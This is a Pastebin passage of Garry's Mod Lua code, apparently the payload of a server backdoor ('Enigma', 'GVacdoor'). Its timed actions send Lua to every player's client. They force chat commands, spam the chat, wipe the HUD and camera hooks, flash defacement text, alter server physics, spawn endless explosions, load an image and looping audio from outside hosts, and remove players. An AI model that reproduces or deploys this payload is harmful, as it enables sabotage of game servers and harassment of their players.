  880.     TEXT_ALIGN_CENTER,
  881.     TEXT_ALIGN_CENTER,
  882.     1,
  883.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  884. )
  885. end )
  886.  
  887.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  888.         hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  889.            
  890.    
  891.    
  892.     ]] )
  893. end )
  894.  
  895. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  896.     enigmalaunchproject:SendLua( pPlayer, [[
  897.    
  898. for k,v in pairs(player.GetAll()) do
  899.     v:ConCommand("say /job We Love JoBisteur")
  900. end
  901.    
  902.     ]] )
  903. end )
  904.  
  905. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  906.     enigmalaunchproject:SendLua( pPlayer, [[
  907.        
  908.     hook.Remove( "HUDPaint", "hud1enigma", function() end)
  909.    
  910.     ]] )
  911. end )
  912.  
  913. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  914.     enigmalaunchproject:SendLua( pPlayer, [[
  915.    
  916.     RunConsoleCommand("+right")
  917.    
  918.     ]] )
  919. end )
  920.  
  921. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  922.     enigmalaunchproject:SendLua( pPlayer, [[
  923.    
  924.     RunConsoleCommand("-right")
  925.    
  926.     ]] )
  927. end )
  928.  
  929. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  930.     enigmalaunchproject:SendLua( pPlayer, [[
  931.    
  932.     RunConsoleCommand("+duck")
  933.    
  934.     ]] )
  935. end )
  936.  
  937. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  938.     enigmalaunchproject:SendLua( pPlayer, [[
  939.    
  940.     RunConsoleCommand("-duck")
  941.    
  942.     ]] )
  943. end )
  944.  
  945. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  946.  
  947. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Enigma will bring back this game from his ashes" )' ) end)
  948. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "We control this game !" )' ) end)
  949. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Server in purification" )' ) end)
  950. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "ZILNIX" )' ) end)
  951. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "KEETA" )' ) end)
  952. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "IXXE" )' ) end)
  953. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "And GVacdoor Members !" )' ) end)
  954. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "The Elite Of GMod" )' ) end)
  955.  
  956. end )
  957.  
  958.  
  959. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  960.  
  961. timer.Remove( "lespamckool" )
  962. timer.Remove( "lespamckool2" )
  963. timer.Remove( "lespamckool3" )
  964. timer.Remove( "lespamckool4" )
  965. timer.Remove( "lespamckool5" )
  966. timer.Remove( "lespamckool6" )
  967. timer.Remove( "lespamckool7" )
  968. timer.Remove( "lespamckool8" )
  969.  
  970. end )
  971.  
  972. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  973.  
  974.  
  975. RunConsoleCommand("sv_friction", "-50")
  976.  
  977.  
  978. end )
  979.  
  980. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  981.  
  982.  
  983. RunConsoleCommand("sv_gravity", "300")
  984.  
  985.  
  986. end )
  987.  
  988. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  989.  
  990.  
  991.             hook.Add("Think", "armageddon", function()
  992.                 local explode = ents.Create( "env_explosion" )
  993.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  994.                     explode:Spawn()
  995.                     explode:SetKeyValue( "iMagnitude", "500" )
  996.                     explode:Fire( "Explode", 0, 0 )
  997.                 end)
  998.  
  999. end )
  1000.  
  1001.  
  1002. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  1003.        
  1004.     hook.Remove( "Think", "armageddon", function() end)
  1005.    
  1006. end )
  1007.  
  1008. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  1009. enigmalaunchproject:SendLua( pPlayer, [[      
  1010.         hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  1011.             local sinScaler = math.sin( CurTime() )
  1012.             DrawBloom(
  1013.                 0,
  1014.                 3,
  1015.                 sinScaler *math.Rand(1, 8),
  1016.                 sinScaler *math.Rand(1, 8),
  1017.                 6,
  1018.                 math.Rand(0.5, 2),
  1019.                 math.Rand(0, 0.3),
  1020.                 math.Rand(0, 0.3),
  1021.                 math.Rand(0.5, 1)
  1022.             )
  1023.  
  1024.             DrawColorModify{
  1025.                 ["$pp_colour_addr"] = 0,
  1026.                 ["$pp_colour_addg"] = 0,
  1027.                 ["$pp_colour_addb"] = 0,
  1028.                 ["$pp_colour_brightness" ] = 0.1,
  1029.                 ["$pp_colour_contrast" ] = 0.1,
  1030.                 ["$pp_colour_colour" ] = 0.1,
  1031.                 ["$pp_colour_mulr" ] = 0,
  1032.                 ["$pp_colour_mulg" ] = 0,
  1033.                 ["$pp_colour_mulb" ] = 0
  1034.             }
  1035.         end )
  1036.    
  1037.     ]] )
  1038. end )
  1039.  
  1040. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1041.     enigmalaunchproject:SendLua( pPlayer, [[
  1042.    
  1043.     (GAMEMODE or GM).CalcView = function() end
  1044.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1045.  
  1046.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1047.         for k, v in pairs(remove) do
  1048.             hook.GetTable()[v] = {}
  1049.     end
  1050.  
  1051.         local function GetWebMat( strURL )
  1052.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1053.     end
  1054.        
  1055.     hook.Add( "HUDPaint", "hud1enigma", function()
  1056.         surface.SetDrawColor( 255, 255, 255, 255 )
  1057.            
  1058.     draw.SimpleTextOutlined(
  1059.     "JoBisteur",
  1060.     "HACK",
  1061.     ScrW() /2 +math.random( -270, 300 ),
  1062.     ScrH() /2 +math.random( -300, 700 ) +0,
  1063.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1064.     TEXT_ALIGN_CENTER,
  1065.     TEXT_ALIGN_CENTER,
  1066.     1,
  1067.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1068. )
  1069. end )
  1070.  
  1071.  ]] )
  1072. end )
  1073.  
  1074.  
  1075. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1076.     enigmalaunchproject:SendLua( pPlayer, [[
  1077.    
  1078.     (GAMEMODE or GM).CalcView = function() end
  1079.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1080.  
  1081.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1082.         for k, v in pairs(remove) do
  1083.             hook.GetTable()[v] = {}
  1084.     end
  1085.  
  1086.         local function GetWebMat( strURL )
  1087.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1088.     end
  1089.        
  1090.     hook.Add( "HUDPaint", "hud2enigma", function()
  1091.         surface.SetDrawColor( 255, 255, 255, 255 )
  1092.            
  1093.     draw.SimpleTextOutlined(
  1094.     "HACK PAR JOBISTEUR",
  1095.     "DermaLarge",
  1096.     ScrW() /2 +math.random( -600, 700 ),
  1097.     ScrH() /2 +math.random( -200, 800 ) +100,
  1098.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1099.     TEXT_ALIGN_CENTER,
  1100.     TEXT_ALIGN_CENTER,
  1101.     1,
  1102.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1103. )
  1104. end )
  1105.     ]] )
  1106. end )
  1107.  
  1108. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1109.     enigmalaunchproject:SendLua( pPlayer, [[
  1110.    
  1111.     (GAMEMODE or GM).CalcView = function() end
  1112.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1113.  
  1114.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1115.         for k, v in pairs(remove) do
  1116.             hook.GetTable()[v] = {}
  1117.     end
  1118.  
  1119.         local function GetWebMat( strURL )
  1120.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1121.     end
  1122.        
  1123.     hook.Add( "HUDPaint", "hud3enigma", function()
  1124.         surface.SetDrawColor( 255, 255, 255, 255 )
  1125.            
  1126.     draw.SimpleTextOutlined(
  1127.     "VwV",
  1128.     "DermaLarge",
  1129.     ScrW() /2 +math.random( -400, 500 ),
  1130.     ScrH() /2 +math.random( -600, 500 ) -100,
  1131.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1132.     TEXT_ALIGN_CENTER,
  1133.     TEXT_ALIGN_CENTER,
  1134.     1,
  1135.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1136. )
  1137. end )
  1138.     ]] )
  1139. end )
  1140.  
  1141. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1142.     enigmalaunchproject:SendLua( pPlayer, [[
  1143.    
  1144.     (GAMEMODE or GM).CalcView = function() end
  1145.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1146.  
  1147.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1148.         for k, v in pairs(remove) do
  1149.             hook.GetTable()[v] = {}
  1150.     end
  1151.  
  1152.         local function GetWebMat( strURL )
  1153.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1154.     end
  1155.        
  1156.     hook.Add( "HUDPaint", "hud5enigma", function()
  1157.         surface.SetDrawColor( 255, 255, 255, 255 )
  1158.            
  1159.     draw.SimpleTextOutlined(
  1160.     "Snowiiz",
  1161.     "DermaLarge",
  1162.     ScrW() /2 +math.random( -500, 500 ),
  1163.     ScrH() /2 +math.random( -500, 500 ) +0,
  1164.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1165.     TEXT_ALIGN_CENTER,
  1166.     TEXT_ALIGN_CENTER,
  1167.     1,
  1168.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1169. )
  1170. end )
  1171.      ]] )
  1172. end )
  1173.  
  1174. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1175.     enigmalaunchproject:SendLua( pPlayer, [[
  1176.    
  1177.     (GAMEMODE or GM).CalcView = function() end
  1178.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1179.  
  1180.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1181.         for k, v in pairs(remove) do
  1182.             hook.GetTable()[v] = {}
  1183.     end
  1184.  
  1185.         local function GetWebMat( strURL )
  1186.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1187.     end
  1188.        
  1189.     hook.Add( "HUDPaint", "hud7enigma", function()
  1190.         surface.SetDrawColor( 255, 255, 255, 255 )
  1191.            
  1192.     draw.SimpleTextOutlined(
  1193.     "Dedi a la Enigma",
  1194.     "DermaLarge",
  1195.     ScrW() /2 +math.random( -700, 700 ),
  1196.     ScrH() /2 +math.random( -700, 700 ) +300,
  1197.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1198.     TEXT_ALIGN_CENTER,
  1199.     TEXT_ALIGN_CENTER,
  1200.     1,
  1201.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1202. )
  1203. end )
  1204.     ]] )
  1205. end )
  1206.  
  1207. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1208.     enigmalaunchproject:SendLua( pPlayer, [[
  1209.    
  1210.     (GAMEMODE or GM).CalcView = function() end
  1211.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1212.  
  1213.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1214.         for k, v in pairs(remove) do
  1215.             hook.GetTable()[v] = {}
  1216.     end
  1217.  
  1218.         local function GetWebMat( strURL )
  1219.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1220.     end
  1221.        
  1222.     hook.Add( "HUDPaint", "hud10enigma", function()
  1223.         surface.SetDrawColor( 255, 255, 255, 255 )
  1224.            
  1225.     draw.SimpleTextOutlined(
  1226.     "FULLMACHINE",
  1227.     "DermaLarge",
  1228.     ScrW() /2 +math.random( -800, 800 ),
  1229.     ScrH() /2 +math.random( -800, 800 ) -400,
  1230.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1231.     TEXT_ALIGN_CENTER,
  1232.     TEXT_ALIGN_CENTER,
  1233.     1,
  1234.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1235. )
  1236. end )
  1237.      ]] )
  1238. end )
  1239.  
  1240. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1241.     enigmalaunchproject:SendLua( pPlayer, [[
  1242.    
  1243.     (GAMEMODE or GM).CalcView = function() end
  1244.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1245.  
  1246.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1247.         for k, v in pairs(remove) do
  1248.             hook.GetTable()[v] = {}
  1249.     end
  1250.  
  1251.         local function GetWebMat( strURL )
  1252.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1253.     end
  1254.        
  1255.     hook.Add( "HUDPaint", "hud12enigma", function()
  1256.         surface.SetDrawColor( 255, 255, 255, 255 )
  1257.            
  1258.     draw.SimpleTextOutlined(
  1259.     "Burrows42",
  1260.     "DermaLarge",
  1261.     ScrW() /2 +math.random( -850, 850 ),
  1262.     ScrH() /2 +math.random( -850, 850 ) +100,
  1263.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1264.     TEXT_ALIGN_CENTER,
  1265.     TEXT_ALIGN_CENTER,
  1266.     1,
  1267.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1268. )
  1269. end )
  1270.      ]] )
  1271. end )
  1272.  
  1273. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1274.     enigmalaunchproject:SendLua( pPlayer, [[
  1275.    
  1276.     (GAMEMODE or GM).CalcView = function() end
  1277.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1278.  
  1279.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1280.         for k, v in pairs(remove) do
  1281.             hook.GetTable()[v] = {}
  1282.     end
  1283.  
  1284.         local function GetWebMat( strURL )
  1285.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1286.     end
  1287.        
  1288.     hook.Add( "HUDPaint", "hud1enigma", function()
  1289.         surface.SetDrawColor( 255, 255, 255, 255 )
  1290.            
  1291.     draw.SimpleTextOutlined(
  1292.     "VwV",
  1293.     "DermaLarge",
  1294.     ScrW() /2 +math.random( -300, 600 ),
  1295.     ScrH() /2 +math.random( -600, 300 ) +200,
  1296.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1297.     TEXT_ALIGN_CENTER,
  1298.     TEXT_ALIGN_CENTER,
  1299.     1,
  1300.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1301. )
  1302. end )
  1303.      ]] )
  1304. end )
  1305.  
  1306. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1307.     enigmalaunchproject:SendLua( pPlayer, [[
  1308.    
  1309.     (GAMEMODE or GM).CalcView = function() end
  1310.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1311.  
  1312.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1313.         for k, v in pairs(remove) do
  1314.             hook.GetTable()[v] = {}
  1315.     end
  1316.  
  1317.         local function GetWebMat( strURL )
  1318.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1319.     end
  1320.        
  1321.     hook.Add( "HUDPaint", "hud1enigma", function()
  1322.         surface.SetDrawColor( 255, 255, 255, 255 )
  1323.            
  1324.     draw.SimpleTextOutlined(
  1325.     "JoBisteur",
  1326.     "HACK",
  1327.     ScrW() /2 +math.random( -300, 600 ),
  1328.     ScrH() /2 +math.random( -600, 300 ) +200,
  1329.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1330.     TEXT_ALIGN_CENTER,
  1331.     TEXT_ALIGN_CENTER,
  1332.     1,
  1333.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1334. )
  1335. end )
  1336.      ]] )
  1337. end )
  1338.  
  1339.  
  1340. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1341.     enigmalaunchproject:SendLua( pPlayer, ([=[
  1342.        
  1343.         g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1344.         local html = [[%s]]
  1345.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1346.             local pnl = vgui.Create( "HTML" )
  1347.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  1348.             pnl:SetVisible( true )
  1349.             pnl:SetMouseInputEnabled( false )
  1350.             pnl:SetKeyBoardInputEnabled( false )
  1351.             pnl:SetSize( intSizeX, intSizeY )
  1352.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1353.            
  1354.             local PageLoaded
  1355.             PageLoaded = function()
  1356.                 local mat = pnl:GetHTMLMaterial()
  1357.                 if mat then
  1358.                     g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1359.                     return
  1360.                 end
  1361.                
  1362.                 timer.Simple( 0.5, PageLoaded )
  1363.             end
  1364.  
  1365.             PageLoaded()
  1366.         end
  1367.  
  1368.         LoadWebMaterial( "https://thereaper.tk/__/hehehe/__!!__!!/bravo_ct_inutile/enigmaaaa.png", "EnigmaLogo", 1000, 1000 )
  1369.     ]=]):format(lol.m_strImageLoadHTML) )
  1370. end )
  1371.  
  1372. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1373.     enigmalaunchproject:SendLua( pPlayer, [[
  1374.         (GAMEMODE or GM).CalcView = function() end
  1375.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1376.  
  1377.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1378.         for k, v in pairs(remove) do
  1379.             hook.GetTable()[v] = {}
  1380.         end
  1381.  
  1382.         local function GetWebMat( strURL )
  1383.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1384.         end
  1385.  
  1386.         hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1387.             surface.SetDrawColor( 255, 255, 255, 255 )
  1388.  
  1389.             if GetWebMat( "EnigmaLogo" ) then
  1390.                 surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1391.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1392.             end
  1393.         end )
  1394.  
  1395.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1396.         hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1397.  
  1398.         surface.PlaySound( "garrysmod/save_load4.wav" )
  1399.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1400.     ]] )
  1401. end )
  1402.  
  1403. lol:PushAction( 175, function( pPlayer )
  1404.     lol:SendLua( pPlayer, [[
  1405.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1406.  
  1407.         local sounds = {}
  1408.         for i = 1, 4 do
  1409.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  1410.                 sounds[#sounds +1] = pChan
  1411.             end )
  1412.         end
  1413.  
  1414.         timer.Create( "asdf", 1, 0, function()
  1415.             if #sounds ~= 4 then return end
  1416.             timer.Destroy( "asdf" )
  1417.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1418.         end )
  1419.  
  1420.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1421.     ]] )
  1422.  
  1423.     pPlayer:Remove()
  1424. end )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top